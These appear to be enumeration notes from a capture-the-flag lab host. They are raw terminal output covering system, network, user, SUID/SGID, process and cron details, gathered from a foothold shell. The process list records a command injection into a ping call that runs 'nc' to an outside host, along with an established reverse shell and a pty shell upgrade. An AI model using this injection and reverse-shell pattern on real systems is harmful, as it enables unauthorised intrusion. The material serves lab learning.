System/Kernel
www@ultratech-prod:/home/www/api$ filfile /bin/bash ; uname -a ; cat /etc/*release
/bin/bash: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/l, for GNU/Linux 3.2.0, BuildID[sha1]=b636f50d85c3cca7cf2518030446660c1d90d660, stripped
Linux ultratech-prod 4.15.0-46-generic #49-Ubuntu SMP Wed Feb 6 09:33:07 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux
DISTRIB_ID=Ubuntu
DISTRIB_RELEASE=18.04
DISTRIB_CODENAME=bionic
DISTRIB_DESCRIPTION="Ubuntu 18.04.2 LTS"
NAME="Ubuntu"
VERSION="18.04.2 LTS (Bionic Beaver)"
ID=ubuntu
ID_LIKE=debian
PRETTY_NAME="Ubuntu 18.04.2 LTS"
VERSION_ID="18.04"
HOME_URL="https://www.ubuntu.com/"
SUPPORT_URL="https://help.ubuntu.com/"
BUG_REPORT_URL="https://bugs.launchpad.net/ubuntu/"
PRIVACY_POLICY_URL="https://www.ubuntu.com/legal/terms-and-policies/privacy-policy"
VERSION_CODENAME=bionic
UBUNTU_CODENAME=bionic
64-bit
Ubuntu 18.04.2 LTS (Bionic Beaver)
4.15.0-46-generic
Networks
www@ultratech-prod:/home/www/api$ ip route ; arp -a
default via 10.10.0.1 dev eth0 proto dhcp src 10.10.57.71 metric 100
10.10.0.0/16 dev eth0 proto kernel scope link src 10.10.57.71
10.10.0.1 dev eth0 proto dhcp scope link src 10.10.57.71 metric 100
ip-10-10-0-1.eu-west-1.compute.internal (10.10.0.1) at 02:c8:85:b5:5a:aa [ether] on eth0
www@ultratech-prod:/home/www/api$ netstat -antup4
(Not all processes could be identified, non-owned process info
will not be shown, you would have to be root to see it all.)
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 127.0.0.1:3306 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN -
tcp 0 1 10.10.57.71:46482 185.125.188.59:443 SYN_SENT -
tcp 0 284 10.10.57.71:53804 10.9.1.180:9999 ESTABLISHED 1940/sh
udp 0 0 127.0.0.53:53 0.0.0.0:* -
udp 0 0 10.10.57.71:68 0.0.0.0:* -
127.0.0.1:3306
Users & Groups
www@ultratech-prod:/home/www/api$ cat /etc/passwd ; ll /home
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd/netif:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd/resolve:/usr/sbin/nologin
syslog:x:102:106::/home/syslog:/usr/sbin/nologin
messagebus:x:103:107::/nonexistent:/usr/sbin/nologin
_apt:x:104:65534::/nonexistent:/usr/sbin/nologin
lxd:x:105:65534::/var/lib/lxd/:/bin/false
uuidd:x:106:110::/run/uuidd:/usr/sbin/nologin
dnsmasq:x:107:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
landscape:x:108:112::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:109:1::/var/cache/pollinate:/bin/false
sshd:x:110:65534::/run/sshd:/usr/sbin/nologin
lp1:x:1000:1000:lp1:/home/lp1:/bin/bash
mysql:x:111:113:MySQL Server,,,:/nonexistent:/bin/false
ftp:x:112:115:ftp daemon,,,:/srv/ftp:/usr/sbin/nologin
r00t:x:1001:1001::/home/r00t:/bin/bash
www:x:1002:1002::/home/www:/bin/sh
total 20K
4.0K drwxr-xr-x 5 lp1 lp1 4.0K Mar 22 2019 lp1
4.0K drwxr-xr-x 5 www www 4.0K Mar 22 2019 www
4.0K drwxr-xr-x 2 r00t r00t 4.0K Mar 22 2019 r00t
4.0K drwxr-xr-x 5 root root 4.0K Mar 22 2019 .
4.0K drwxr-xr-x 23 root root 4.0K Mar 19 2019 ..
lp1
r00t
www@ultratech-prod:/home/www/api$ cut -d: -f1 /etc/passwd | xargs -n1 id
uid=0(root) gid=0(root) groups=0(root)
uid=1(daemon) gid=1(daemon) groups=1(daemon)
uid=2(bin) gid=2(bin) groups=2(bin)
uid=3(sys) gid=3(sys) groups=3(sys)
uid=4(sync) gid=65534(nogroup) groups=65534(nogroup)
uid=5(games) gid=60(games) groups=60(games)
uid=6(man) gid=12(man) groups=12(man)
uid=7(lp) gid=7(lp) groups=7(lp)
uid=8(mail) gid=8(mail) groups=8(mail)
uid=9(news) gid=9(news) groups=9(news)
uid=10(uucp) gid=10(uucp) groups=10(uucp)
uid=13(proxy) gid=13(proxy) groups=13(proxy)
uid=33(www-data) gid=33(www-data) groups=33(www-data)
uid=34(backup) gid=34(backup) groups=34(backup)
uid=38(list) gid=38(list) groups=38(list)
uid=39(irc) gid=39(irc) groups=39(irc)
uid=41(gnats) gid=41(gnats) groups=41(gnats)
uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup)
uid=100(systemd-network) gid=102(systemd-network) groups=102(systemd-network)
uid=101(systemd-resolve) gid=103(systemd-resolve) groups=103(systemd-resolve)
uid=102(syslog) gid=106(syslog) groups=106(syslog),4(adm)
uid=103(messagebus) gid=107(messagebus) groups=107(messagebus)
uid=104(_apt) gid=65534(nogroup) groups=65534(nogroup)
uid=105(lxd) gid=65534(nogroup) groups=65534(nogroup)
uid=106(uuidd) gid=110(uuidd) groups=110(uuidd)
uid=107(dnsmasq) gid=65534(nogroup) groups=65534(nogroup)
uid=108(landscape) gid=112(landscape) groups=112(landscape)
uid=109(pollinate) gid=1(daemon) groups=1(daemon)
uid=110(sshd) gid=65534(nogroup) groups=65534(nogroup)
uid=1000(lp1) gid=1000(lp1) groups=1000(lp1),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),108(lxd)
uid=111(mysql) gid=113(mysql) groups=113(mysql)
uid=112(ftp) gid=115(ftp) groups=115(ftp)
uid=1001(r00t) gid=1001(r00t) groups=1001(r00t),116(docker)
uid=1002(www) gid=1002(www) groups=1002(www)
uid=1000(lp1) gid=1000(lp1) groups=1000(lp1),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),108(lxd)
uid=1001(r00t) gid=1001(r00t) groups=1001(r00t),116(docker)
SUIDs
www@ultratech-prod:/home/www/api$ find / -perm -04000 -ls -type f 2>/dev/null
393829 100 -rwsr-xr-x 1 root root 100760 Nov 23 2018 /usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic
263394 16 -rwsr-xr-x 1 root root 14328 Jan 15 2019 /usr/lib/policykit-1/polkit-agent-helper-1
263200 44 -rwsr-xr-- 1 root messagebus 42992 Nov 15 2017 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
263207 12 -rwsr-xr-x 1 root root 10232 Mar 28 2017 /usr/lib/eject/dmcrypt-get-device
277410 100 -rwsr-sr-x 1 root root 101240 Mar 15 2019 /usr/lib/snapd/snap-confine
277151 428 -rwsr-xr-x 1 root root 436552 Mar 4 2019 /usr/lib/openssh/ssh-keysign
262837 40 -rwsr-xr-x 1 root root 37136 Jan 25 2018 /usr/bin/newuidmap
262632 76 -rwsr-xr-x 1 root root 76496 Jan 25 2018 /usr/bin/chfn
263014 20 -rwsr-xr-x 1 root root 18448 Mar 9 2017 /usr/bin/traceroute6.iputils
262836 40 -rwsr-xr-x 1 root root 40344 Jan 25 2018 /usr/bin/newgrp
262634 44 -rwsr-xr-x 1 root root 44528 Jan 25 2018 /usr/bin/chsh
262835 40 -rwsr-xr-x 1 root root 37136 Jan 25 2018 /usr/bin/newgidmap
262853 60 -rwsr-xr-x 1 root root 59640 Jan 25 2018 /usr/bin/passwd
262873 24 -rwsr-xr-x 1 root root 22520 Jan 15 2019 /usr/bin/pkexec
262581 52 -rwsr-sr-x 1 daemon daemon 51464 Feb 20 2018 /usr/bin/at
262978 148 -rwsr-xr-x 1 root root 149080 Jan 18 2018 /usr/bin/sudo
262726 76 -rwsr-xr-x 1 root root 75824 Jan 25 2018 /usr/bin/gpasswd
131207 44 -rwsr-xr-x 1 root root 44664 Jan 25 2018 /bin/su
131167 44 -rwsr-xr-x 1 root root 43088 Oct 15 2018 /bin/mount
131191 64 -rwsr-xr-x 1 root root 64424 Mar 9 2017 /bin/ping
131109 144 -rwsr-xr-x 1 root root 146128 Mar 14 2019 /bin/ntfs-3g
131140 32 -rwsr-xr-x 1 root root 30800 Aug 11 2016 /bin/fusermount
131225 28 -rwsr-xr-x 1 root root 26696 Oct 15 2018 /bin/umount
66 40 -rwsr-xr-x 1 root root 40152 May 16 2018 /snap/core/6350/bin/mount
80 44 -rwsr-xr-x 1 root root 44168 May 7 2014 /snap/core/6350/bin/ping
81 44 -rwsr-xr-x 1 root root 44680 May 7 2014 /snap/core/6350/bin/ping6
98 40 -rwsr-xr-x 1 root root 40128 May 17 2017 /snap/core/6350/bin/su
116 27 -rwsr-xr-x 1 root root 27608 May 16 2018 /snap/core/6350/bin/umount
2658 71 -rwsr-xr-x 1 root root 71824 May 17 2017 /snap/core/6350/usr/bin/chfn
2660 40 -rwsr-xr-x 1 root root 40432 May 17 2017 /snap/core/6350/usr/bin/chsh
2735 74 -rwsr-xr-x 1 root root 75304 May 17 2017 /snap/core/6350/usr/bin/gpasswd
2827 39 -rwsr-xr-x 1 root root 39904 May 17 2017 /snap/core/6350/usr/bin/newgrp
2840 53 -rwsr-xr-x 1 root root 54256 May 17 2017 /snap/core/6350/usr/bin/passwd
2950 134 -rwsr-xr-x 1 root root 136808 Jul 4 2017 /snap/core/6350/usr/bin/sudo
3049 42 -rwsr-xr-- 1 root systemd-resolve 42992 Jan 12 2017 /snap/core/6350/usr/lib/dbus-1.0/dbus-daemon-launch-helper
3419 419 -rwsr-xr-x 1 root root 428240 Nov 5 2018 /snap/core/6350/usr/lib/openssh/ssh-keysign
6445 97 -rwsr-sr-x 1 root root 98472 Jan 29 2019 /snap/core/6350/usr/lib/snapd/snap-confine
7615 386 -rwsr-xr-- 1 root dip 394984 Jun 12 2018 /snap/core/6350/usr/sbin/pppd
66 40 -rwsr-xr-x 1 root root 40152 May 16 2018 /snap/core/6531/bin/mount
80 44 -rwsr-xr-x 1 root root 44168 May 7 2014 /snap/core/6531/bin/ping
81 44 -rwsr-xr-x 1 root root 44680 May 7 2014 /snap/core/6531/bin/ping6
98 40 -rwsr-xr-x 1 root root 40128 May 17 2017 /snap/core/6531/bin/su
116 27 -rwsr-xr-x 1 root root 27608 May 16 2018 /snap/core/6531/bin/umount
2658 71 -rwsr-xr-x 1 root root 71824 May 17 2017 /snap/core/6531/usr/bin/chfn
2660 40 -rwsr-xr-x 1 root root 40432 May 17 2017 /snap/core/6531/usr/bin/chsh
2735 74 -rwsr-xr-x 1 root root 75304 May 17 2017 /snap/core/6531/usr/bin/gpasswd
2827 39 -rwsr-xr-x 1 root root 39904 May 17 2017 /snap/core/6531/usr/bin/newgrp
2840 53 -rwsr-xr-x 1 root root 54256 May 17 2017 /snap/core/6531/usr/bin/passwd
2950 134 -rwsr-xr-x 1 root root 136808 Jul 4 2017 /snap/core/6531/usr/bin/sudo
3049 42 -rwsr-xr-- 1 root systemd-resolve 42992 Jan 12 2017 /snap/core/6531/usr/lib/dbus-1.0/dbus-daemon-launch-helper
3419 419 -rwsr-xr-x 1 root root 428240 Jan 31 2019 /snap/core/6531/usr/lib/openssh/ssh-keysign
6445 97 -rwsr-sr-x 1 root root 98472 Feb 27 2019 /snap/core/6531/usr/lib/snapd/snap-confine
7615 386 -rwsr-xr-- 1 root dip 394984 Jun 12 2018 /snap/core/6531/usr/sbin/pppd
SGIDs
www@ultratech-prod:/home/www/api$ find / -perm -02000 -ls -type f 2>/dev/null
401910 4 drwxr-sr-x 3 root systemd-journal 4096 Mar 19 2019 /var/log/journal
407539 4 drwxr-sr-x 2 root systemd-journal 4096 Jul 22 16:08 /var/log/journal/8395ee3c2022408bba17501034058b07
401864 4 drwxrwsr-x 2 root staff 4096 Apr 24 2018 /var/local
529755 4 drwxrwsr-x 2 root mail 4096 Feb 14 2019 /var/mail
1179878 36 -rwxr-sr-x 1 root shadow 34816 Feb 27 2019 /sbin/unix_chkpwd
1179874 36 -rwxr-sr-x 1 root shadow 34816 Feb 27 2019 /sbin/pam_extrausers_chkpwd
408475 4 drwxrwsr-x 4 root staff 4096 Mar 22 2019 /usr/local/share/emacs
409487 4 drwxrwsr-x 3 root staff 4096 Mar 22 2019 /usr/local/share/emacs/25.2
409488 4 drwxrwsr-x 2 root staff 4096 Mar 22 2019 /usr/local/share/emacs/25.2/site-lisp
408480 4 drwxrwsr-x 2 root staff 4096 Mar 22 2019 /usr/local/share/emacs/site-lisp
409498 4 drwxrwsr-x 4 root staff 4096 Mar 22 2019 /usr/local/lib/python2.7
928385 4 drwxrwsr-x 2 root staff 4096 Mar 22 2019 /usr/local/lib/python2.7/dist-packages
413116 4 drwxrwsr-x 2 root staff 4096 Mar 22 2019 /usr/local/lib/python2.7/site-packages
269052 4 drwxrwsr-x 3 root staff 4096 Feb 14 2019 /usr/local/lib/python3.6
269053 4 drwxrwsr-x 2 root staff 4096 Feb 14 2019 /usr/local/lib/python3.6/dist-packages
927721 28 -rwxr-sr-x 1 root mail 26616 Sep 12 2017 /usr/lib/emacs/25.2/x86_64-linux-gnu/movemail
395010 12 -rwxr-sr-x 1 root utmp 10232 Mar 11 2016 /usr/lib/x86_64-linux-gnu/utempter/utempter
277410 100 -rwsr-sr-x 1 root root 101240 Mar 15 2019 /usr/lib/snapd/snap-confine
262592 16 -rwxr-sr-x 1 root tty 14328 Jan 17 2018 /usr/bin/bsd-write
262627 72 -rwxr-sr-x 1 root shadow 71816 Jan 25 2018 /usr/bin/chage
263068 32 -rwxr-sr-x 1 root tty 30800 Oct 15 2018 /usr/bin/wall
262654 40 -rwxr-sr-x 1 root crontab 39352 Nov 16 2017 /usr/bin/crontab
262705 24 -rwxr-sr-x 1 root shadow 22808 Jan 25 2018 /usr/bin/expiry
262827 44 -rwxr-sr-x 1 root mlocate 43088 Mar 1 2018 /usr/bin/mlocate
277145 356 -rwxr-sr-x 1 root ssh 362640 Mar 4 2019 /usr/bin/ssh-agent
278126 20 -rwxr-sr-x 1 root mail 18424 Dec 3 2017 /usr/bin/dotlockfile
262581 52 -rwsr-sr-x 1 daemon daemon 51464 Feb 20 2018 /usr/bin/at
391 0 drwxr-s--- 2 root dip 54 Jan 29 2019 /snap/core/6350/etc/chatscripts
793 0 drwxr-s--- 2 root dip 31 Jan 29 2019 /snap/core/6350/etc/ppp/peers
2576 35 -rwxr-sr-x 1 root shadow 35632 Apr 9 2018 /snap/core/6350/sbin/pam_extrausers_chkpwd
2616 35 -rwxr-sr-x 1 root shadow 35600 Apr 9 2018 /snap/core/6350/sbin/unix_chkpwd
2653 61 -rwxr-sr-x 1 root shadow 62336 May 17 2017 /snap/core/6350/usr/bin/chage
2672 36 -rwxr-sr-x 1 root systemd-network 36080 Apr 5 2016 /snap/core/6350/usr/bin/crontab
2701 15 -rwxr-sr-x 1 root mail 14856 Dec 7 2013 /snap/core/6350/usr/bin/dotlockfile
2713 23 -rwxr-sr-x 1 root shadow 22768 May 17 2017 /snap/core/6350/usr/bin/expiry
2810 15 -rwxr-sr-x 3 root mail 14592 Dec 3 2012 /snap/core/6350/usr/bin/mail-lock
2810 15 -rwxr-sr-x 3 root mail 14592 Dec 3 2012 /snap/core/6350/usr/bin/mail-touchlock
2810 15 -rwxr-sr-x 3 root mail 14592 Dec 3 2012 /snap/core/6350/usr/bin/mail-unlock
2943 351 -rwxr-sr-x 1 root crontab 358624 Nov 5 2018 /snap/core/6350/usr/bin/ssh-agent
3008 27 -rwxr-sr-x 1 root tty 27368 May 16 2018 /snap/core/6350/usr/bin/wall
6445 97 -rwsr-sr-x 1 root root 98472 Jan 29 2019 /snap/core/6350/usr/lib/snapd/snap-confine
7554 0 drwxrwsr-x 3 root staff 36 Jan 29 2019 /snap/core/6350/usr/local/lib/python3.5
7555 0 drwxrwsr-x 2 root staff 3 Jan 29 2019 /snap/core/6350/usr/local/lib/python3.5/dist-packages
12794 0 drwxrwsr-x 2 root staff 3 Apr 12 2016 /snap/core/6350/var/local
12805 0 drwxrwsr-x 2 root mail 3 Jan 29 2019 /snap/core/6350/var/mail
391 0 drwxr-s--- 2 root dip 54 Feb 27 2019 /snap/core/6531/etc/chatscripts
793 0 drwxr-s--- 2 root dip 31 Feb 27 2019 /snap/core/6531/etc/ppp/peers
2576 35 -rwxr-sr-x 1 root shadow 35632 Apr 9 2018 /snap/core/6531/sbin/pam_extrausers_chkpwd
2616 35 -rwxr-sr-x 1 root shadow 35600 Apr 9 2018 /snap/core/6531/sbin/unix_chkpwd
2653 61 -rwxr-sr-x 1 root shadow 62336 May 17 2017 /snap/core/6531/usr/bin/chage
2672 36 -rwxr-sr-x 1 root systemd-network 36080 Apr 5 2016 /snap/core/6531/usr/bin/crontab
2701 15 -rwxr-sr-x 1 root mail 14856 Dec 7 2013 /snap/core/6531/usr/bin/dotlockfile
2713 23 -rwxr-sr-x 1 root shadow 22768 May 17 2017 /snap/core/6531/usr/bin/expiry
2810 15 -rwxr-sr-x 3 root mail 14592 Dec 3 2012 /snap/core/6531/usr/bin/mail-lock
2810 15 -rwxr-sr-x 3 root mail 14592 Dec 3 2012 /snap/core/6531/usr/bin/mail-touchlock
2810 15 -rwxr-sr-x 3 root mail 14592 Dec 3 2012 /snap/core/6531/usr/bin/mail-unlock
2943 351 -rwxr-sr-x 1 root crontab 358624 Jan 31 2019 /snap/core/6531/usr/bin/ssh-agent
3008 27 -rwxr-sr-x 1 root tty 27368 May 16 2018 /snap/core/6531/usr/bin/wall
6445 97 -rwsr-sr-x 1 root root 98472 Feb 27 2019 /snap/core/6531/usr/lib/snapd/snap-confine
7554 0 drwxrwsr-x 3 root staff 36 Feb 27 2019 /snap/core/6531/usr/local/lib/python3.5
7555 0 drwxrwsr-x 2 root staff 3 Feb 27 2019 /snap/core/6531/usr/local/lib/python3.5/dist-packages
12793 0 drwxrwsr-x 2 root staff 3 Apr 12 2016 /snap/core/6531/var/local
12804 0 drwxrwsr-x 2 root mail 3 Feb 27 2019 /snap/core/6531/var/mail
Processes
www@ultratech-prod:/home/www/api$ ps -auxwww
USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
root 1 1.4 1.3 225164 6772 ? Ss 16:08 0:30 /sbin/init maybe-ubiquity
root 411 0.1 1.5 94852 7724 ? S<s 16:08 0:03 /lib/systemd/systemd-journald
root 417 0.0 0.2 97708 1428 ? Ss 16:08 0:00 /sbin/lvmetad -f
root 422 0.2 0.8 46136 4368 ? Ss 16:08 0:05 /lib/systemd/systemd-udevd
systemd+ 496 0.0 0.3 141924 1480 ? Ssl 16:09 0:00 /lib/systemd/systemd-timesyncd
systemd+ 642 0.0 0.7 80036 3796 ? Ss 16:09 0:00 /lib/systemd/systemd-networkd
systemd+ 660 0.0 0.6 70624 3276 ? Ss 16:09 0:00 /lib/systemd/systemd-resolved
syslog 736 0.0 0.6 267272 3200 ? Ssl 16:09 0:00 /usr/sbin/rsyslogd -n
root 737 0.0 0.4 604872 2160 ? Ssl 16:09 0:00 /usr/bin/lxcfs /var/lib/lxcfs/
root 739 0.1 2.2 169088 11248 ? Ssl 16:09 0:02 /usr/bin/python3 /usr/bin/networkd-dispatcher --run-startup-triggers
root 744 0.0 0.8 286236 4124 ? Ssl 16:09 0:00 /usr/lib/accountsservice/accounts-daemon
message+ 746 0.0 0.7 50060 3444 ? Ss 16:09 0:00 /usr/bin/dbus-daemon --system --address=systemd: --nofork --nopidfile --systemd-activation --syslog-only
root 769 0.0 0.2 31872 1068 ? Ss 16:09 0:00 /usr/sbin/inetd
root 772 0.0 0.7 62128 3860 ? Ss 16:09 0:00 /lib/systemd/systemd-logind
daemon 774 0.0 0.3 28332 1936 ? Ss 16:09 0:00 /usr/sbin/atd -f
root 780 0.0 0.5 30028 2712 ? Ss 16:09 0:00 /usr/sbin/cron -f
root 791 0.0 0.3 28676 1892 ? Ss 16:09 0:00 /usr/sbin/vsftpd /etc/vsftpd.conf
root 804 0.0 0.4 14664 1976 ttyS0 Ss+ 16:09 0:00 /sbin/agetty -o -p -- \u --keep-baud 115200,38400,9600 ttyS0 vt220
root 807 0.0 0.3 14888 1632 tty1 Ss+ 16:09 0:00 /sbin/agetty -o -p -- \u --noclear tty1 linux
root 808 0.0 2.5 185908 12364 ? Ssl 16:09 0:01 /usr/bin/python3 /usr/share/unattended-upgrades/unattended-upgrade-shutdown --wait-for-signal
root 814 0.0 0.6 291344 2980 ? Ssl 16:09 0:00 /usr/lib/policykit-1/polkitd --no-debug
root 820 0.0 0.6 72296 3156 ? Ss 16:09 0:00 /usr/sbin/sshd -D
root 870 0.0 2.5 625804 12688 ? Ssl 16:09 0:01 /usr/lib/snapd/snapd
root 895 0.0 0.5 57500 2624 ? S 16:10 0:00 /usr/sbin/CRON -f
www 921 0.0 0.1 4628 768 ? Ss 16:10 0:00 /bin/sh -c sh /home/www/api/start.sh
www 922 0.0 0.1 4628 844 ? S 16:10 0:00 sh /home/www/api/start.sh
www 964 0.7 4.7 1165552 23324 ? Sl 16:10 0:14 node index.js
mysql 970 0.1 33.5 1154564 164804 ? Sl 16:10 0:03 /usr/sbin/mysqld --daemonize --pid-file=/run/mysqld/mysqld.pid
root 983 0.0 1.7 335320 8464 ? Ss 16:10 0:00 /usr/sbin/apache2 -k start
www-data 992 0.0 1.4 339940 7200 ? S 16:10 0:00 /usr/sbin/apache2 -k start
www-data 993 0.0 1.4 339940 7216 ? S 16:10 0:00 /usr/sbin/apache2 -k start
www-data 994 0.0 1.4 339940 7148 ? S 16:10 0:00 /usr/sbin/apache2 -k start
www-data 995 0.0 1.4 339764 7044 ? S 16:10 0:00 /usr/sbin/apache2 -k start
www-data 996 0.0 1.4 339940 7132 ? S 16:10 0:00 /usr/sbin/apache2 -k start
www-data 1212 0.0 1.5 339724 7804 ? S 16:12 0:00 /usr/sbin/apache2 -k start
www 1798 0.0 0.1 4628 916 ? S 16:27 0:00 /bin/sh -c ping -c 1 "`(nc 10.9.1.180 9999)`"
www 1799 0.0 0.4 15716 2188 ? S 16:27 0:00 nc 10.9.1.180 9999
www 1939 0.0 0.1 4628 772 ? S 16:33 0:00 /bin/sh -c ping -c 1 "`(./shell)`"
www 1940 0.0 0.1 4628 776 ? S 16:33 0:00 /bin/sh
www 2123 0.0 1.4 37284 7312 ? S 16:39 0:00 python3 -c import pty; pty.spawn("/bin/bash")
www 2126 0.0 0.9 19676 4548 pts/0 Ss 16:39 0:00 /bin/bash
root 2303 0.0 0.6 57500 3196 ? S 16:44 0:00 /usr/sbin/CRON -f
www 2304 0.0 0.1 4628 876 ? Ss 16:44 0:00 /bin/sh -c sh /home/www/api/start.sh
www 2305 0.0 0.1 4628 828 ? S 16:44 0:00 sh /home/www/api/start.sh
www 2308 0.0 3.6 655144 17896 ? Rl 16:44 0:00 node index.js
www 2313 0.0 0.6 36700 3160 pts/0 R+ 16:44 0:00 ps -auxwww
/sbin/lvmetad -f
/usr/bin/lxcfs /var/lib/lxcfs/
/usr/sbin/inetd
/usr/sbin/cron -f
/usr/sbin/vsftpd /etc/vsftpd.conf
/usr/lib/policykit-1/polkitd --no-debug
/bin/sh -c sh /home/www/api/start.sh
node index.js
/usr/sbin/mysqld --daemonize --pid-file=/run/mysqld/mysqld.pid
Cron & Systemd
www@ultratech-prod:/home/www/api$ crontab -l ; cat /etc/crontab ; systemctl list-timers
# Edit this file to introduce tasks to be run by cron.
#
# Each task to run has to be defined through a single line
# indicating with different fields when the task will be run
# and what command to run for the task
#
# To define the time you can provide concrete values for
# minute (m), hour (h), day of month (dom), month (mon),
# and day of week (dow) or use '*' in these fields (for 'any').#
# Notice that tasks will be started based on the cron's system
# daemon's notion of time and timezones.
#
# Output of the crontab jobs (including errors) is sent through
# email to the user the crontab file belongs to (unless redirected).
#
# For example, you can run a backup of all your user accounts
# at 5 a.m every week with:
# 0 5 * * 1 tar -zcf /var/backups/home.tgz /home/
#
# For more information see the manual pages of crontab(5) and cron(8)
#
# m h dom mon dow command
* * * * * sh /home/www/api/start.sh
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.
SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
# m h dom mon dow user command
17 * * * * root cd / && run-parts --report /etc/cron.hourly
25 6 * * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6 * * 7 root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6 1 * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
#
NEXT LEFT LAST PASSED
Mon 2024-07-22 17:09:00 UTC 22min left Mon 2024-07-22 16:39:01 UTC 7min ago
Tue 2024-07-23 04:38:48 UTC 11h left Mon 2024-07-22 16:09:51 UTC 36min ago
Tue 2024-07-23 05:09:31 UTC 12h left Mon 2024-07-22 16:14:53 UTC 31min ago
Tue 2024-07-23 06:01:15 UTC 13h left Mon 2024-07-22 16:09:51 UTC 36min ago
Tue 2024-07-23 16:23:08 UTC 23h left Mon 2024-07-22 16:23:08 UTC 23min ago
Mon 2024-07-29 00:00:00 UTC 6 days left Mon 2024-07-22 16:09:51 UTC 36min ago
6 timers listed.
Pass --all to see loaded but inactive timers, too.
lines 1-10/10 (END)
* * * * * sh /home/www/api/start.sh
Sudo Version
www@ultratech-prod:/home/www/api$ sudo --version
Sudo version 1.8.21p2
Sudoers policy plugin version 1.8.21p2
Sudoers file grammar version 46
Sudoers I/O plugin version 1.8.21p2
Sudo version 1.8.21p2
Glibc Version
www@ultratech-prod:/home/www/api$ ldd --version
ldd (Ubuntu GLIBC 2.27-3ubuntu1) 2.27
Copyright (C) 2018 Free Software Foundation, Inc.
This is free software; see the source for copying conditions. There is NO
warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
Written by Roland McGrath and Ulrich Drepper.
ldd (Ubuntu GLIBC 2.27-3ubuntu1) 2.27